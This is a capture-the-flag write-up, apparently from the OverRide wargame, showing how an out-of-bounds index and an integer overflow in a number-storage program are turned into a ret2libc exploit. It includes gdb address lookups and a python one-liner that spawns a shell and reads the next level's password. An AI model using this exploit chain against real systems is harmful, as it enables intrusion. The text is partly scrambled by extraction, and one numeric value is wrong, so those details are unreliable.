./level07

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STACK CANARY
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NX disabled No PIE
RELRO
                                                                  RPATH
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Partial RELRO
                                                                                           /home/user/level07/level07
level07@OverRide:~$
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Decompiled file with **Ghidra**:

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int store_number(unsigned int *data)
   printf(" Number: ");
   unsigned int input = get_unum();
   printf(" Index: ");
   unsigned int index = get_unum();
   if (index \% 3 == 0 || (input >> 0x18) == 0xb7)
       puts(" *** ERROR! ***");
       puts(" This index is reserved for wil!");
       puts(" *** ERROR! ***");
       return 1;
   data[index] = input;
   return 0;
int read number(unsigned int *data)
   printf(" Index: ");
   unsigned int index = get_unum();
   printf(" Number at data[%u] is %u\n", index, data[index]);
   return 0;
int main(int argc, char **argv, char **envp)
   char command[20] = \{0\};
   unsigned int data[100] = {0};
   int ret;
   for (int i = 0; envp[i] != NULL; i++)
       memset(envp[i], 0, strlen(envp[i]));
   for (int i = 0; argv[i] != NULL; i++)
       memset(argv[i], 0, strlen(argv[i]));
   puts(" Welcome to wil's crappy number storage service!
   puts("-----");
   puts(" Commands:
                                                            ");
                                                            ");
           store - store a number into the data storage
   puts(" read - read a number from the data storage
puts(" quit - exit the program
                                                            ");
                                                            ");
   puts("-----
                                                           -");
            wil has reserved some storage :>
   puts(
   while (1)
       printf("Input command: ");
       fgets(command, sizeof(command), stdin);
       command[strcspn(command, "\n")] = '\0';
       if (!strncmp(command, "store", 5))
           ret = store_number(data);
       else if (!strncmp(command, "read", 4))
           ret = read_number(data);
       else if (!strncmp(command, "quit", 4))
           break;
       if (ret)
           printf(" Failed to do %s command\n", command);
       else
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commands to store, read, or quit. The **store\_number** function captures a **number** and an **index** from the user, but it implements a security check to prevent certain values from being stored: an index divisible by 3 or a number with a significant byte of 0xb7 is considered reserved and triggers an error.

This C program presents a basic number storage service that allows users to store and read unsigned integer values into an array. The main loop offers an interactive shell-like interface where users input

printf(" Completed %s command successfully\n", command);

memset(command, 0, sizeof(command));

return EXIT\_SUCCESS;

Upon start-up, the program clears the environment variables and command-line arguments, as a security measure to prevent unintended data leakage. After an extensive period of research and iterative testing, we discovered a viable exploit: the vulnera-

bility lies in the program's failure to validate whether the user-supplied index is within the bounds of the

In the **read\_number** function, users can retrieve a value from the array by providing its index.

data array. This oversight enables us to cause a buffer overflow in the main function, potentially allowing for arbitrary code execution. In the context of the exploit, we use a technique known as return-to-libc (ret2libc).

This method involves overwriting the stack's return address with the address of a library function (in this case, **system**) that we wish to execute, followed by its return address, and finally its argument (**/bin/sh**)

00 00 00 00

00 00 00 00

[offset to reach overflow] [system() address] [return address] ["/bin/sh" address] Now, let's look at the program's stack layout:

0xffffdc50 08 04 8d 4b 00 00 00 00 00 00 00 17 0xffffdc60 ff ff ff ff 00 00 00 00 ff ff de e0 0xffffdc70 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00

00 00 00 00

0xffffdc80

0xffffdc90

(gdb) p system

**\$1** = 0xf7e6aed0 **<system>** 

To achieve this exploit, memory will have to look like this:

00 00 00 00 0xffffdca0 00 00 00 00 00 00 00 00 00 00 00 00 0xffffdcb0 0xffffddf0 0xffffde00 00 00 00 00 00 00 00 00 00 00 00 00 0xffffde10 00 00 00 00 00 00 00 00 00 00 00 00 0xffffde20 00 00 00 00 f7 fe b6 20 08 04 8a 09 f7 fc ef f4 0xffffde30 00 00 00 00 00 00 00 00 f7 e4 55 13 00 00 00 00 0xffffde40 ff ff de d4 00 00 00 01 ff ff de dc f7 fd 30 00 Our input buffer starts at a lower memory address Oxffffdo74 and the return address is at a higher memory address Oxffffde3c. The difference between these two addresses is 456 bytes, which corresponds to 114 indices in the data array because each unsigned int is 4 bytes. So, at index 114 we want to put the **system()** address and at index 116 the /bin/sh address. We're not concerned with what goes into index 115, which would typically be used for the return address in a system() call, because it's not necessary for this exploit to succeed. To determine the specific addresses required for the exploit, we use the **gdb**:

00 00 00 00

00 00 00 00

data[100]

command[20]

return address

f7 fd c7 14

ff ff de d8

00 00 00 00

00 00 00 00

00 00 00 00

(gdb) find \_\_libc\_start\_main,+999999999,"/bin/sh" 0xf7f897ec

So we want to insert 0xf7e6aed0 (4160264172,) at index 114 and 0xf7f897ec (4160264172,) at index 116. The problem is that 114 divisible by 3, so we won't be able to pass the security check.

multiplied by 4 gives us the 456 bytes (equivalent to the 114 unsigned ints) needed to reach the return address. Both UINT\_MAX½ (231) and UINT\_MAX¼ (230) multiplyed by 4, exceed the unsigned int32 upper bound of 232. Overflow takes into account the less significant digits; hence by adding 114 to these values, yielding 2147483762 and 1073741938 respectively, and then multiplying by 4, both yield a residue of 456.

We can bypass that using a integer overflow vurnerability, finding a number not divisible by 3, that when

0 0 0 1 0 0 0 0 1 0 0 4.294.967.752 in binary 0 | 0 0 0 0 | 0 0 0 0 0 0

1.073.741.938 in binary

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Having bypassed the initial if condition, we can now crack the program, causing the shell to spawn.
  level07@RainFall:~$ {
 python -c '
 bin_sh = int("0xf7f897ec", 16)
 system = int("0xf7e6aed0", 16)
 offset = (2 << 30) + 114
 commands = "\n".join(["store", str(bin_sh), "116", "store", str(system), str(offset), "quit"])
 print(commands)';
 echo "cd ../level08 && cat .pass";
 } | ./level07
 Input command:
                  Number:
                            Index: Completed store command successfully
 Input command:
                  Number:
                            Index:
                                    Completed store command successfully
 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
 level07@RainFall:~$ su level08
 Password: 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC
 level08@RainFall:~$
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